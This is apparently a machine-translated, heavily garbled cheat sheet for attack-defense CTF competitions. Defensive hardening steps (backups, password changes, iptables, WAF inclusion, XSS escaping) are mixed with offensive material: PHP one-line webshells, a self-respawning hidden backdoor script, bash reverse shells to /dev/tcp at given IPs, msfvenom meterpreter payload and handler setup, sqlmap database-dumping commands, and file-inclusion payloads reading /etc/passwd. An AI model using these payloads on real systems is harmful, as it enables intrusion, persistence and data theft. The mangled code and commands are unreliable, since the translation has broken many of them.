AWD
バックアップソースは、アカウントのパスワードを変更し、バックドアが削除された場合、次に見ます
変更 MySQLのパスワードを
フォーマット: mysqladminは-uユーザ名-pパスワード新しいパスワード古いパスワードの
例: mysqladminは-uroot - Pパスワード123 123456
MySQLのフルバックアップと復元
バックアップ -データベース:mysqldumpを-uユーザー名-pパスワードデータベース名> /root/XXX.bak
指定されたデータベースのバックアップ次のカンガルーのホームディレクトリ、ファイル名XXX.bak
回復ます。mysql -uユーザ名-pパスワードデータベース名</root/XXX.bak
トロイの木馬文
<?phpの@Eval($ _ REQUEST [ 'パス']); ?> <%evalの要求( "合格")%> <PHP @Eval($ _ POST [ 'C']);??>
維持するためのパーミッション: 1.死んだ馬、2シェルNC -lp 9999リバウンドNC
PSのauxww |プロセスを殺すことができるPIDを見つけた後はgrep shell.php
変更 sshのファイルvimのは、/ etc / ssh / sshd_configのPermitRootLoginなし
最後尾のプラス AllowUsersという劉liu1
linuxの所有者とグループファイルが配置されているファイルを変更
chgrpコマンドユーザーファイル名-R
chownコマンド名、ファイル名-R
chmodの-R 777の/ var /ホーム/ユーザーID / ccで
1 ビューポート
netstatコマンド- tunpl netstatの-tunpl | grepの23(ポート23が開いている参照)
対応するポートのアプリケーションを確認してください2。
lsofは-i:XXX 検索プロセス psの補助
3.閉じるポート
【のiptable 】
sudoのiptablesの-A INPUT -p tcpの--dport $ PORT -j DROP "
はsudoのiptables -A OUTPUT -p tcpの--dport $ PORT -j DROP"
【キル】
psの補助
キル-9 PID「(PID:プロセスID)
sudoの/etc/init.d/apache2再起動
。防衛戦略
コマンドインジェクションの脆弱性
a)の例ではSTR1 = $ _POST [ 'CMD' ]、 STR1で接続文字'#'コメント文字、STR1 = "#"の前に。$ _POST [ 'CMD']
b)は
、アップロードファイルの脆弱性
A )コードをアップロードするために書かれたコメント。
b)の
脆弱性が含まれるファイル
A)をphp.iniファイルを変更
allow_url_fopenをON
allow_url_includeをON
として修正
allow_url_fopenをオフ
はallow_url_includeのオフ
)B
リモートでコードが実行される脆弱性
A)ノートハザード関数:システム()exec_shell()はeval () アサート()する。create_function()にpreg_replace()ますfile_put_contents()
b)の
オーバーフローの脆弱性緩衝液
A)を電流基準"7.Linux権限抜け穴"防衛。
B)
システムバックドアの脆弱性
)を直接バックドア削除
B)を「PS -ef |バックドアのbashがあるかどうかを確認するためにgrepをbashの「コマンド
C)「SS -ltnp」コマンドは、バックドアのリスニングポートがあるかどうかを確認するために
して、二つのステップからプログラムのPIDを見つける。)Dプログラム終了するバックドアbashコマンド「キルは、PID」
文書の内容が見つから表示、Webサイトのディレクトリ内の電子を)単語やトロイの木馬、ファイルの削除またはコメントコードウェブシェル
f)は
Linuxの特権脆弱性
| A)「はgrep httpdのPS -ef 」 修正ファイル/etc/httpd/httpd.conf見つかった場合はApacheサービスの実装は、ルートサービスであるかどうかを確認するためのコマンドを「グループ」フィールドにプラスのapache apacheの後の「ユーザ」は、httpdサービスを再起動します。Apacheサービスは、サービスを実行するためのApacheのユーザーである。
B)攻撃者はbashはファイルのフラグ内容を読み取り使用することはできませんしましょう、その名前を変更し、/ binに/猫/ binに/ echoコマンドキーとその他のバイナリファイルを修正します。
1.アンチXSS
使用 strip_tags()の機能フィルタ文字列のHTML タグ;
使い方はhtmlspecialchars()に敏感な文字を変換する機能を。
$メッセージ= mysql_real_escape_stringの($メッセージ)。
:本文出力、HTMLタグを出力属性として
例えば: <スパン> $ {ユーザー名} </スパン>、<P> <C:OUT値= "$ {ユーザー名}"> </ C:OUT> </ P>
の<input type = "text"値= "$ {ユーザー名}" />
この場合のエスケープルールは次の通りです:
<<に変換
>>に変身
&&に変換
"変換"に
'に変身'
JavaScriptイベント
<入力タイプ=「ボタン」οnclick= 「go_to_url( 『$ {myUrl}』);」/>
上記のものに加えて脱出するだけでなく、追加のエスケープ以下:
\\に\ターン
\ /へ/ターン
;へのターン;(フル;)
E)url属性
の場合 の<script>、srcとhref属性の<style>、<IMT>タグは、それが悪質な接続URLではないことを保証するために、動的なコンテンツなどがあります。
:いることを確認 HREFと、srcの値はhttpで始まる必要があります://初めに、ホワイトリストモード; 10進数と16進数エンコード文字を使用することはできません。
?:パラメータパラメータを渡し、動的代表である
伝達関数パラメータ名:タイトル
:(URL「プロファイル」に符号化後に復号化され、一般的に反射型XSSの注入点)パラメータ通過コンテンツの値
F)アップロードWAF
フレームがあれば書き込み非常に良いウェブは.user.iniであることを追加するためにPHPを実行している(nginxのは、より一般的にIIS)それはFastCGIのであれば、それは断片化された場合に書き換え、ファイルやデータベースファイル、PHPファイルを必要とし、方法があることを直接展開しました特定の百度、.user.iniバックドア、同じ原理。他の例では、各PHPの前に、サンプルスクリプトコードがリリースされることを追加するためのスクリプトを記述することを強制することができます。(もちろん、apacheの.htaccessファイルは、元のページに戻って、その後WAF書き換えを余儀なくされるが、場合には、それは環境を上書きしませんでした)
ファイルをインクルードするディレクトリに1 waf.phpの広がりを
、ページガードを追加します。2.そこに2から選択された場合に応じて二つのアプローチ、:
。)コードページ必要な保護に追加
するrequire_once(「waf.phpは」);
ページインジェクション、クロスサイトを行うことができ
ますが、全体の駅抗注意をしたい場合は、それパブリックドキュメントサイトで、データベースリンクファイルなどでconfig.inc.phpを!
追加するrequire_once( 'waf.phpを');を呼び出すためのコード
の一般的なファイルシステムを追加するPHPは
V9 \ phpCMS \ Base.phpというPHPCMS
PHPWIND8.7 \データ\ sql_config.php
DEDECMS5.7 \データ\ common.inc.php
DiscuzX2 \ CONFIG \ config_global.php
ワードプレス\ WP-config.phpの
MetInfo \ head.phpの\含む
B)。ほとんどのコードと、各ファイルの前に
でphp.iniの中找到:
自動的に任意のPHPドキュメントの前または後にファイルを追加します。
auto_prepend_file = waf.php路径。
アップロード WAFは、
フレームが書かれている場合はウェブは、それが断片化されている場合、直接書き換え、ファイルやデータベースファイル、PHPファイルを必要とし、非常に良い展開、そしてそれはFastCGIを(nginxの、より一般的にIIS)である場合の方法は、そこにあることをPHPを実行しています特定のBaiduは、バックドア、同じ原理を.user.iniことだけ.user.ini追加します。他の例では、各PHPの前に、サンプルスクリプトコードがリリースされることを追加するためのスクリプトを記述することを強制することができます。(もちろん、apacheの.htaccessファイルはまた元のページに戻って、その後WAFを書き換えることを余儀なくされますが、場合には、それは環境を上書きしませんでした)
1. waf.phpファイルを含むディレクトリに伝達
から選択された2つのケースに応じて、ページ保護、2つの方法がある追加2:
。コードページ必要な保護を加えA)
するrequire_onceを(「WAF .php「);
それが行わページインジェクション、クロスサイトすることができ
ますが、データベース・リンクファイルとして、公文書のサイト上で、全体の駅抗注意をしたい場合でconfig.inc.phpを!
追加するrequire_once( 'waf.phpを');を呼び出すためのコード
の一般的なファイルシステムを追加するPHPは
V9 \ phpCMS \ Base.phpというPHPCMS
PHPWIND8.7 \データ\ sql_config.php
DEDECMS5.7 \データ\ common.inc.php
DiscuzX2 \ CONFIG \ config_global.php
Wordpressの\ WP-config.phpの
MetInfo \ \ head.phpの含まれ
た各ファイルに加えて何よりもコードでBを)
内のphp.iniを見つける:
自動的に追加ファイルまたは後に任意のPHPドキュメントの前に。
auto_prepend_file = WAF。 PHPのパス。
一般的な強化方法:
プロセスを強化:
- 修正ウェブマスターパスワード
- バックアップウェブサイトのソース
- タール-zcf /tmp/name.tar.gz /パス/ウェブ
- -zcf /tmp/name.tar.gz / var / www / htmlと設定とり
- データベースのバックアップ
- mysqldumpを-u ユーザ名-p データベース名> エクスポートされたファイル名
- mysqldumpを-uユーザー-pデータベース> /tmp/database.sql
- 変更(現在のユーザのパスワードを変更、である)sshのパスワード
- 変更 MySQLのパスワード
- 設定パスワードユーザー名@localhost =パスワード(「新しいパスワード」);
- ユーザーの設定パスワード@ localhostのパスワード=( '123');
- 変更のMongoDBパスワード(ポート27017)
- 変更 Redisのコード(ポート6379)
- ウェブサイトのソースコードのデータベース接続の設定を変更します
- 展開 WAF(空き状況による)
ファイルの監視
スクリプト、モニターを準備し、すべての新しいファイルを削除します。
メモリ馬、直接再起動して下さい PHPを。
監視スクリプトが利用できない場合は、定期的に新しいファイルを確認し、変更コマンドを使用します。
ウェブパス-ctimeを見つける-1(新しいファイルが疑わしい最近の日を参照してください)
( 1)ユーザのログイン、入るのプレゼンスSQLインジェクションポイントのテストを、ユニバーサルパスワード'または1 =「1つの弱いパスワード管理者/管理者Firefoxのプラグインhackbar
名前を選択し、名前=「tbAdminから通過」または1 =「1」と通過=「123456」
( 2)ああDスキャンサイトSQLインジェクションポイント、SQLMAP注射、
ときにゲームのAccessデータベースの注入ポイント:
http://10.1.14.1/ReadNews.asp?NewsID=20&BigClassID=2&SmallClassID=2
SQLMAP -u "URL" Viewシステム、バージョン
SQLMAP -u "urlは" バーストデータベースを--dbs
-u "URL" --tables -D CTF爆表SQLMAP
SQLMAP -u "URL" --column -D CTF -Tユーザー爆列
SQLMAP -u "URL" --dump -D CTF -Tユーザー "USER_NAME、user_pass" 爆字段
Webサイト情報データベースのパスワード・ファイルは、一般的に配置されているのconfig.phpに。
3.ファイルが含まれています
(含まれている1)ローカルファイル
localhostの/ a.php?ファイル= / flag.txt
( 2)リモートファイルインクルージョン
localhostの/ a.phpファイル=のhttp:IP / echo.txt
使用、トロイの木馬文をアップロード
echo.txtファイルの内容は、コンテンツがshell.php文トロイの木馬を生成します。
<PHP fputs(のfopen( "shell.php"、 "W")、 "<PHPのeval(\ $ _ POST [XX]);?>");?>
一般的なファイルは、関数を含む)(含まれ、のinclude_once()、require()を、するrequire_once()
いくつかの古典的な試験方法:
?ファイル= .. / .. / .. / .. / .. / etc / passwdファイルのカット長いディレクトリ
?ページ=ファイル:/// etc / passwdファイル機密文書を読むために
?ホーム= main.cgi
?ページ=のhttp://www.a.com/1.php
http://1.1.1.1/../../../../dir/file.txt
4.不正アクセスallow_url_fopenを= ON、allow_url_includeを= ON
レベル越権:修正 ID、他人訪問
垂直方向の越権:バックグラウンド管理する方法を知っているアクセス、昇格権限、データへのアクセスによって、URLを。
着陸せずに、不正アクセスを/admin/upload/config.php、直接ディスプレイ
防衛ウェブサイト
WAF、ファイル監視、セキュリティの犬、
ヘッダ書き込み、上のrequire_once(「waf.php」)。
そこ月ここにフラグを:
- 剣スキャンは、そこにある、Webページを開くにはダブルクリックしフラグは。
- SSHログイン、システムのルートディレクトリ、は/ varの下に/ WWW / HTML
- MySQLのデータベースフィールド。
- リモートデスクトップのホスト、フォルダ
以下のための WebトラフィックのPHPのクロール、アプリケーション分析。
見つけることができる CTFラインの下で競争使用を、あなたは実際のシーンを使用することができるWebトラフィック解析攻撃のために来ました。
webloggerマスターを使用します:
CD / var / www / htmlと設定/(または他のウェブディレクトリ)
gitのクローンhttps://github.com/wupco/weblogger.git
chmodの-R 777 weblogger /
オープンのhttp:Webブラウザで//xxxxx/weblogger/install.php
それをインストール
CTFDefense-CTFDefense
1.ctf-firewall.sh
iptablesの設定コマンドは、迅速なコンフィギュレーションを実行するための鍵となることができます。使用するときは、少しの環境に応じて変更する必要があるかもしれません
2.commannd.md
いくつかの一般的なライン次のレース Linuxオペレーティングコマンド
3.getRoot
いくつかのローカル権限昇格 POC、各ファイルはリリースディレクトリ内のファイルをコンパイルし、詳細な使用上の注意を持っています。いくつかの実用的なスクリプトがあります。
4.表示
シンプル、作成監視、削除することができ、ファイル監視のサンプルスクリプト、移動、プロパティの変更は、自動的に新しいファイルやディレクトリを削除します。使用済み pyInstallerのは、Linuxの実行可能ファイルにパッケージ化
5. WAF
Linuxのセキュリティ犬のバージョンといくつかのWAF スクリプト
nmapの-nv IPのnドゥDNS
nmapの-sS IP SYN
高強度のnmap -T4 -A
python -c '輸入PTY; pty.spawn( "/ binに/ bashの")'
タール-zcf /tmp/xxx.tar.gz HTML
-xzvf /tmp/xxx.tar.gzを取ります
mysqldumpを-uxxx -pxxx DBNAME> xxx.sql
passwdの
修正ウェブマスターパスワード
更新ユーザーが設定したパスワード= MD5(「XXXXXX」);
データベースのパスワードを変更します。
ユーザー名@localhost =パスワード(「新しいパスワード」)のために設定したパスワード。
bashの-i>&/dev/tcp/10.51.4.222/8384 0>&1
bashの-i>&/dev/tcp/10.11.23.226/5555 0>&1
/ binに/ bashの-i&> /dev/tcp/10.51.4.222/8384 0>&1
エコー "/ binに/ bashの-i&> /dev/tcp/10.11.20.71/5555 0>&1" | / binに/ bashの
RM -rf / var / www / htmlと設定/ upload_lab /アップロード/ *
郵便番号:///var/www/html/upload/test.zip#test.php
http://123.206.174.251/include/2/?
OP =郵便番号://uploads/ea064516fe1e37af816bb52faa08eeb8589af4c0.png%23p
使用 MSF
msfvenom -p PHP / meterpreter / reverse_tcp LHOST = XXXX lportは= 5555-F生> 77778888.php
msfconsole:
マルチ/ハンドラを使用
セットペイロードPHP / meterpreter / reverse_tcp
セットlhost 0.0.0.0
5555 lportはセット
セットExitOnSessionの偽
-j実行
PHP死んだ馬
caidao
<?phpの
ignore_user_abort(真の);
set_time_limit(0);
リンク解除(__ FILE__);
$ファイル= '/var/www/dvwa/.ski12.php';
$ファイル= 'D:\\ z_myweb \\ phpStudy \\ DVWAマスター\\ dvwa \\ busi.php';
$コード= '<(MD5($ _ GETは[ "パス"])== "cdd7b7420654eb16c1e1b748d5b7c5b8"){@評価($ _ POSTもしPHP?[' ']);}?>';
一方、(1){
ますfile_put_contents($ファイル、$コード);
//システム( 'タッチ-m -d "2018年12月1日午前9時10分12秒" .ski12.php');
usleep(5000);
}
バックドア
evalの($ _ POST [「」]);
アサート($は_ POST [ ""]); $ = "アサート" を書き込むことができる; $($ _ POST [])。
array_filter(配列($ _ POST [「」])、」アサート」)。
preg_replace( "/試験/ E"、$ _ POST [「 "]、" jutst試験」)。
$ FUNC =する。create_function( ''、$ _ POST [ '']); $ FUNC();
エコーarray_mapを(「アサート」、配列($ _ POST [「」]))。
call_user_func( "アサート"、$ _ POST [ 'CMD']);
call_user_func_array( "アサート"、配列($ _ POST [「」]))。
等
削除死んだ馬
殺す-9 -1
殺す-9 -1
新規ユーザのlinux
useraddの-m USERNAME1
passwdのUSERNAME1
USERMOD -a -G sudoのUSERNAME1
アンチ注入
addslashes
htmlspecialchars